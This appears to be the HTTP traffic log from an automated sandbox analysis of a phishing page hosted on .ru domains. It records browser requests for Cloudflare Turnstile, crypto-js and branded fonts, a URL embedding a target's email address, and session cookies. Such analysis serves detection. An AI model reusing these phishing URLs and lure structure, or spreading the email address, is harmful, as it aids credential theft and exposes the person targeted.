Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://o0o6.bvyunz.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://o0o6.bvyunz.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://o0o6.bvyunz.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://o0o6.bvyunz.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=hstsV7NWQ85XE8Q.4yrmaLVqJwAr3amPqUtPznzpFFc-1742318090-1.0.1.1-gMSR9hqXtBnDIcoHZro.grRZsbE_AmWx7BZ81VRiplIkgWDqJ11nN5KcNn92khMci2nTvmAdHC3MuhNgipLd2Q0o5BIrEuwCxBVJoLWh6uo
Source: global traffic	HTTP traffic detected: GET /bhanchod!i1eas HTTP/1.1Host: bk6s.xqwqkd.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://o0o6.bvyunz.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://o0o6.bvyunz.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bhanchod!i1eas HTTP/1.1Host: bk6s.xqwqkd.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /3v4jfQ-cUo/mshierry@munsch.com HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://o0o6.bvyunz.ru/3v4jfQ-cUo/mshierry@munsch.comAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImtvZ1EyRHdLS1VvWmI1c2pYcm9Cbnc9PSIsInZhbHVlIjoibWJLMndxU3NtS1gwZkFHbnZWV0dpUitlRlZuYmc5VjFDN2RicmhYU3JDZlBGQVR0dUhzMXR1NzR1NlFNVHZidEhsczR5VXJVZUlNL0FpaGVLRTF2WFhiTEU3ZFRPOVB4VXpYSTVwK1hldG51TXZsdkpJYUUxZjEvdTE5eW9Pd3UiLCJtYWMiOiIwM2QyMWE1Y2FjMjNiYzcwYjNkZDUwNTVkZWNiYmRlODQzZGM5OTA0ZDY2NGRmMDRjMDcxMzc5ZmM5NTY1NzU3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNSMndwTjBpQ0VXK2ZxNTNIaDNhTkE9PSIsInZhbHVlIjoieUpyVXdHVDZvZTMyTTJDVFlpS1JpcW9jUnhsR1NxZmFUK2xIRXlUUHdCSlhjMWJXTHN6MlhtWStsRVUvcVVsNk96SUM1eUVSNE5ESVpUME1JNW9rVWUzYzBJTVZtQzlOYXFmTUlhWk9GeEM2N0RNNzBXK3kzYnhnRFJSRHY0MysiLCJtYWMiOiIwYzc5ZGQyMTA1ZTYyMmVmYmI4MWU1MTE2YzQzNzA0YzcxNWJjYzQyZjI5MzM2MDQ5MzdlZTE2OTE0MDEzNjVhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /nmMmSdPwpaBxTnqpnmfTe0eEsidS7PO9kIHQfu HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImtvZ1EyRHdLS1VvWmI1c2pYcm9Cbnc9PSIsInZhbHVlIjoibWJLMndxU3NtS1gwZkFHbnZWV0dpUitlRlZuYmc5VjFDN2RicmhYU3JDZlBGQVR0dUhzMXR1NzR1NlFNVHZidEhsczR5VXJVZUlNL0FpaGVLRTF2WFhiTEU3ZFRPOVB4VXpYSTVwK1hldG51TXZsdkpJYUUxZjEvdTE5eW9Pd3UiLCJtYWMiOiIwM2QyMWE1Y2FjMjNiYzcwYjNkZDUwNTVkZWNiYmRlODQzZGM5OTA0ZDY2NGRmMDRjMDcxMzc5ZmM5NTY1NzU3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNSMndwTjBpQ0VXK2ZxNTNIaDNhTkE9PSIsInZhbHVlIjoieUpyVXdHVDZvZTMyTTJDVFlpS1JpcW9jUnhsR1NxZmFUK2xIRXlUUHdCSlhjMWJXTHN6MlhtWStsRVUvcVVsNk96SUM1eUVSNE5ESVpUME1JNW9rVWUzYzBJTVZtQzlOYXFmTUlhWk9GeEM2N0RNNzBXK3kzYnhnRFJSRHY0MysiLCJtYWMiOiIwYzc5ZGQyMTA1ZTYyMmVmYmI4MWU1MTE2YzQzNzA0YzcxNWJjYzQyZjI5MzM2MDQ5MzdlZTE2OTE0MDEzNjVhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o0o6.bvyunz.ru/3v4jfQ-cUo/mshierry@munsch.comAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InhpWWR0OUw2ZURNRjZHSmR0eEVkL3c9PSIsInZhbHVlIjoiSkVzbitZeWRSNGZYY09NR3JQczExMWxBeXFuMGQrdXNoL3RYM3VhUThyYStFaUZjT3hVUTF3Vkd2SGxTNlM3WXhEWkxxMUpVdmFidUh2bEp4SElzWVdibjREeGNJTlVZcnQyajlKRU4wMi9WWlBacDNKT3ZnM2NaNk1ibHk3SmkiLCJtYWMiOiJlODU2NjFjYmI2MzRiMWE1YWFhN2U1ZDVhZjg0YjVjZWJiZTlkZTZhYjcyMDM2YWZjNjU3NWUzNzBhNGU0Yjk0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVzODFNeGp0RGlYRmZOSHp6UXNVQkE9PSIsInZhbHVlIjoiNHVkNFZUSlRtMU1tN1o0dE1DcVhvL01FYU9ScDBVcFBsbC9jd0tpMFdscmcrRDVkRVlVZnBmaFJLNUtqRllCQkZ3M2tINW96UXlNTElEYURncDg5QitrL1NYRzViUVFXcVNBVVQxRHd5NzdHcGtiZlhoRGVqZlRLYk1DcGxvZ3MiLCJtYWMiOiJlODAzN2IzODBmZDRhMzRiNGVkNjhmOWY2YjM5MzQzYTlmYWIwOTNhMmNkZDgzMTQ3YzhlNzJmZWMyNDIwOGUyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUM HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://o0o6.bvyunz.ru/3v4jfQ-cUo/*mshierry@munsch.comAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InZqUUIyNmoyVTRJcWVTOUVSTGVsdHc9PSIsInZhbHVlIjoiYllkZGltMFlXeU5SbkowTDY2V0hvSGM5VC82cWtMUHFCU1NMNGN2U3BRZWxoSzdueTVZeHY2cDQ2YXYrN3Y3TW5xMkdVVEdnUFFtcEMrOUQ3T1o2U3RRbjZvS2laYmVwODhHelk0ZmluODAvMUxNVDJrSWhFbUd0RzlQYzRkNmsiLCJtYWMiOiJmNDI1MTQwYTg4ZTRlNzhjNzAwZDc0ODIzYmZhNjQ4OTk2MGI1MzFjMjFiM2UyNTEyOGI3ZWEzNzE1YmZlNGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5VcHdXT3hnWnl1LzJZRlJEVDhnbVE9PSIsInZhbHVlIjoiTUVTb3R5V2MyalhnSUNCaitDTjdsbGd2RGRuYlJLdmcyaHNuMkRyMU03OVRqbDh6SWU3dEoraHcrVDAwV1BLYlRuNzFqaUh4RDJJNmJ3Q3owZVVHbVl5bjhSeXVDTm9DNGQ0RVRQNkp1U3lLdVJhZ0t2WjBoOW41Vm0xaEdaaFkiLCJtYWMiOiI3MTk3YTQzMzQ1NTUwZTRhOTkyYmJmMjk5NjVhYmMwZGZiMGU3NTU2OTgyYzc4NTBlZjlhZGQ1YmVmZmEzMTY2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rqvL8Yo5T1guQzvEvyXzBZ5mRylIHLa1dyl8f3zWTRFfq HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InZqUUIyNmoyVTRJcWVTOUVSTGVsdHc9PSIsInZhbHVlIjoiYllkZGltMFlXeU5SbkowTDY2V0hvSGM5VC82cWtMUHFCU1NMNGN2U3BRZWxoSzdueTVZeHY2cDQ2YXYrN3Y3TW5xMkdVVEdnUFFtcEMrOUQ3T1o2U3RRbjZvS2laYmVwODhHelk0ZmluODAvMUxNVDJrSWhFbUd0RzlQYzRkNmsiLCJtYWMiOiJmNDI1MTQwYTg4ZTRlNzhjNzAwZDc0ODIzYmZhNjQ4OTk2MGI1MzFjMjFiM2UyNTEyOGI3ZWEzNzE1YmZlNGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5VcHdXT3hnWnl1LzJZRlJEVDhnbVE9PSIsInZhbHVlIjoiTUVTb3R5V2MyalhnSUNCaitDTjdsbGd2RGRuYlJLdmcyaHNuMkRyMU03OVRqbDh6SWU3dEoraHcrVDAwV1BLYlRuNzFqaUh4RDJJNmJ3Q3owZVVHbVl5bjhSeXVDTm9DNGQ0RVRQNkp1U3lLdVJhZ0t2WjBoOW41Vm0xaEdaaFkiLCJtYWMiOiI3MTk3YTQzMzQ1NTUwZTRhOTkyYmJmMjk5NjVhYmMwZGZiMGU3NTU2OTgyYzc4NTBlZjlhZGQ1YmVmZmEzMTY2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff2 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-aliveOrigin: https://o0o6.bvyunz.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUMAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkNyWHM2SzVTd0c1UlBTSXpML0UzYlE9PSIsInZhbHVlIjoiOGVZSnMvNFRoZ1lqMmgwRUdxQmFHMzVON25xVTc2bnpIeEZtNGtQL0ZNdjFHdExuWnJIQUpGeVAwNTFSQWJ0SlIyZVMxS1d4VkMycXhienkyN1laL0N5K0dzdmVRYWt5RjlQR1FaSi8rd1ExbzllQlJWbXdIcG5HRE1hUEtiU0IiLCJtYWMiOiIwNzkyNjU0NDQxYTY1NDhmZDY4NWRlYjcxOWZhODc0N2MzZWIxNmFlZmRiODI1YzAyM2RmMDI2ZGZkYjY5MmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImlRclB4blZMdWFQV0cyWEhFYnREYWc9PSIsInZhbHVlIjoiSituRFBsMUhPaHU0OVNLd1daLzV0eWtpOEx2bEN0R2hJMCtVNEVpaTRNbzJ5ODgrckRrNFVMTFk0aXpNOVB1NTdZUC9lbHAyMWRYTCtPM2dMWUJsaHl5bjZIUnhYTHRwL2srdmV6bU9RcXE5WWd2MlkweWRrWVVqY1pzZmRnK0QiLCJtYWMiOiIxYjYyMjAyNzRmNTVhMjRlNjVlYzUyZWUxZTQ3YzIwZTc5OGZjNTU1NTdiNWMzMTg0NmMzZmQ3MGY2MzZmMTJhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-aliveOrigin: https://o0o6.bvyunz.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUMAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkNyWHM2SzVTd0c1UlBTSXpML0UzYlE9PSIsInZhbHVlIjoiOGVZSnMvNFRoZ1lqMmgwRUdxQmFHMzVON25xVTc2bnpIeEZtNGtQL0ZNdjFHdExuWnJIQUpGeVAwNTFSQWJ0SlIyZVMxS1d4VkMycXhienkyN1laL0N5K0dzdmVRYWt5RjlQR1FaSi8rd1ExbzllQlJWbXdIcG5HRE1hUEtiU0IiLCJtYWMiOiIwNzkyNjU0NDQxYTY1NDhmZDY4NWRlYjcxOWZhODc0N2MzZWIxNmFlZmRiODI1YzAyM2RmMDI2ZGZkYjY5MmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImlRclB4blZMdWFQV0cyWEhFYnREYWc9PSIsInZhbHVlIjoiSituRFBsMUhPaHU0OVNLd1daLzV0eWtpOEx2bEN0R2hJMCtVNEVpaTRNbzJ5ODgrckRrNFVMTFk0aXpNOVB1NTdZUC9lbHAyMWRYTCtPM2dMWUJsaHl5bjZIUnhYTHRwL2srdmV6bU9RcXE5WWd2MlkweWRrWVVqY1pzZmRnK0QiLCJtYWMiOiIxYjYyMjAyNzRmNTVhMjRlNjVlYzUyZWUxZTQ3YzIwZTc5OGZjNTU1NTdiNWMzMTg0NmMzZmQ3MGY2MzZmMTJhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /56ViOL6g4iXgtDFmfabDb4L6711 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUMAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkNyWHM2SzVTd0c1UlBTSXpML0UzYlE9PSIsInZhbHVlIjoiOGVZSnMvNFRoZ1lqMmgwRUdxQmFHMzVON25xVTc2bnpIeEZtNGtQL0ZNdjFHdExuWnJIQUpGeVAwNTFSQWJ0SlIyZVMxS1d4VkMycXhienkyN1laL0N5K0dzdmVRYWt5RjlQR1FaSi8rd1ExbzllQlJWbXdIcG5HRE1hUEtiU0IiLCJtYWMiOiIwNzkyNjU0NDQxYTY1NDhmZDY4NWRlYjcxOWZhODc0N2MzZWIxNmFlZmRiODI1YzAyM2RmMDI2ZGZkYjY5MmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImlRclB4blZMdWFQV0cyWEhFYnREYWc9PSIsInZhbHVlIjoiSituRFBsMUhPaHU0OVNLd1daLzV0eWtpOEx2bEN0R2hJMCtVNEVpaTRNbzJ5ODgrckRrNFVMTFk0aXpNOVB1NTdZUC9lbHAyMWRYTCtPM2dMWUJsaHl5bjZIUnhYTHRwL2srdmV6bU9RcXE5WWd2MlkweWRrWVVqY1pzZmRnK0QiLCJtYWMiOiIxYjYyMjAyNzRmNTVhMjRlNjVlYzUyZWUxZTQ3YzIwZTc5OGZjNTU1NTdiNWMzMTg0NmMzZmQ3MGY2MzZmMTJhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff2 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-aliveOrigin: https://o0o6.bvyunz.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUMAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkNyWHM2SzVTd0c1UlBTSXpML0UzYlE9PSIsInZhbHVlIjoiOGVZSnMvNFRoZ1lqMmgwRUdxQmFHMzVON25xVTc2bnpIeEZtNGtQL0ZNdjFHdExuWnJIQUpGeVAwNTFSQWJ0SlIyZVMxS1d4VkMycXhienkyN1laL0N5K0dzdmVRYWt5RjlQR1FaSi8rd1ExbzllQlJWbXdIcG5HRE1hUEtiU0IiLCJtYWMiOiIwNzkyNjU0NDQxYTY1NDhmZDY4NWRlYjcxOWZhODc0N2MzZWIxNmFlZmRiODI1YzAyM2RmMDI2ZGZkYjY5MmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImlRclB4blZMdWFQV0cyWEhFYnREYWc9PSIsInZhbHVlIjoiSituRFBsMUhPaHU0OVNLd1daLzV0eWtpOEx2bEN0R2hJMCtVNEVpaTRNbzJ5ODgrckRrNFVMTFk0aXpNOVB1NTdZUC9lbHAyMWRYTCtPM2dMWUJsaHl5bjZIUnhYTHRwL2srdmV6bU9RcXE5WWd2MlkweWRrWVVqY1pzZmRnK0QiLCJtYWMiOiIxYjYyMjAyNzRmNTVhMjRlNjVlYzUyZWUxZTQ3YzIwZTc5OGZjNTU1NTdiNWMzMTg0NmMzZmQ3MGY2MzZmMTJhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-aliveOrigin: https://o0o6.bvyunz.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUMAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkNyWHM2SzVTd0c1UlBTSXpML0UzYlE9PSIsInZhbHVlIjoiOGVZSnMvNFRoZ1lqMmgwRUdxQmFHMzVON25xVTc2bnpIeEZtNGtQL0ZNdjFHdExuWnJIQUpGeVAwNTFSQWJ0SlIyZVMxS1d4VkMycXhienkyN1laL0N5K0dzdmVRYWt5RjlQR1FaSi8rd1ExbzllQlJWbXdIcG5HRE1hUEtiU0IiLCJtYWMiOiIwNzkyNjU0NDQxYTY1NDhmZDY4NWRlYjcxOWZhODc0N2MzZWIxNmFlZmRiODI1YzAyM2RmMDI2ZGZkYjY5MmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImlRclB4blZMdWFQV0cyWEhFYnREYWc9PSIsInZhbHVlIjoiSituRFBsMUhPaHU0OVNLd1daLzV0eWtpOEx2bEN0R2hJMCtVNEVpaTRNbzJ5ODgrckRrNFVMTFk0aXpNOVB1NTdZUC9lbHAyMWRYTCtPM2dMWUJsaHl5bjZIUnhYTHRwL2srdmV6bU9RcXE5WWd2MlkweWRrWVVqY1pzZmRnK0QiLCJtYWMiOiIxYjYyMjAyNzRmNTVhMjRlNjVlYzUyZWUxZTQ3YzIwZTc5OGZjNTU1NTdiNWMzMTg0NmMzZmQ3MGY2MzZmMTJhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /abku02AeKLsRopqNef26 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUMAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkNyWHM2SzVTd0c1UlBTSXpML0UzYlE9PSIsInZhbHVlIjoiOGVZSnMvNFRoZ1lqMmgwRUdxQmFHMzVON25xVTc2bnpIeEZtNGtQL0ZNdjFHdExuWnJIQUpGeVAwNTFSQWJ0SlIyZVMxS1d4VkMycXhienkyN1laL0N5K0dzdmVRYWt5RjlQR1FaSi8rd1ExbzllQlJWbXdIcG5HRE1hUEtiU0IiLCJtYWMiOiIwNzkyNjU0NDQxYTY1NDhmZDY4NWRlYjcxOWZhODc0N2MzZWIxNmFlZmRiODI1YzAyM2RmMDI2ZGZkYjY5MmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImlRclB4blZMdWFQV0cyWEhFYnREYWc9PSIsInZhbHVlIjoiSituRFBsMUhPaHU0OVNLd1daLzV0eWtpOEx2bEN0R2hJMCtVNEVpaTRNbzJ5ODgrckRrNFVMTFk0aXpNOVB1NTdZUC9lbHAyMWRYTCtPM2dMWUJsaHl5bjZIUnhYTHRwL2srdmV6bU9RcXE5WWd2MlkweWRrWVVqY1pzZmRnK0QiLCJtYWMiOiIxYjYyMjAyNzRmNTVhMjRlNjVlYzUyZWUxZTQ3YzIwZTc5OGZjNTU1NTdiNWMzMTg0NmMzZmQ3MGY2MzZmMTJhIiwidGFnIjoiIn0%3D
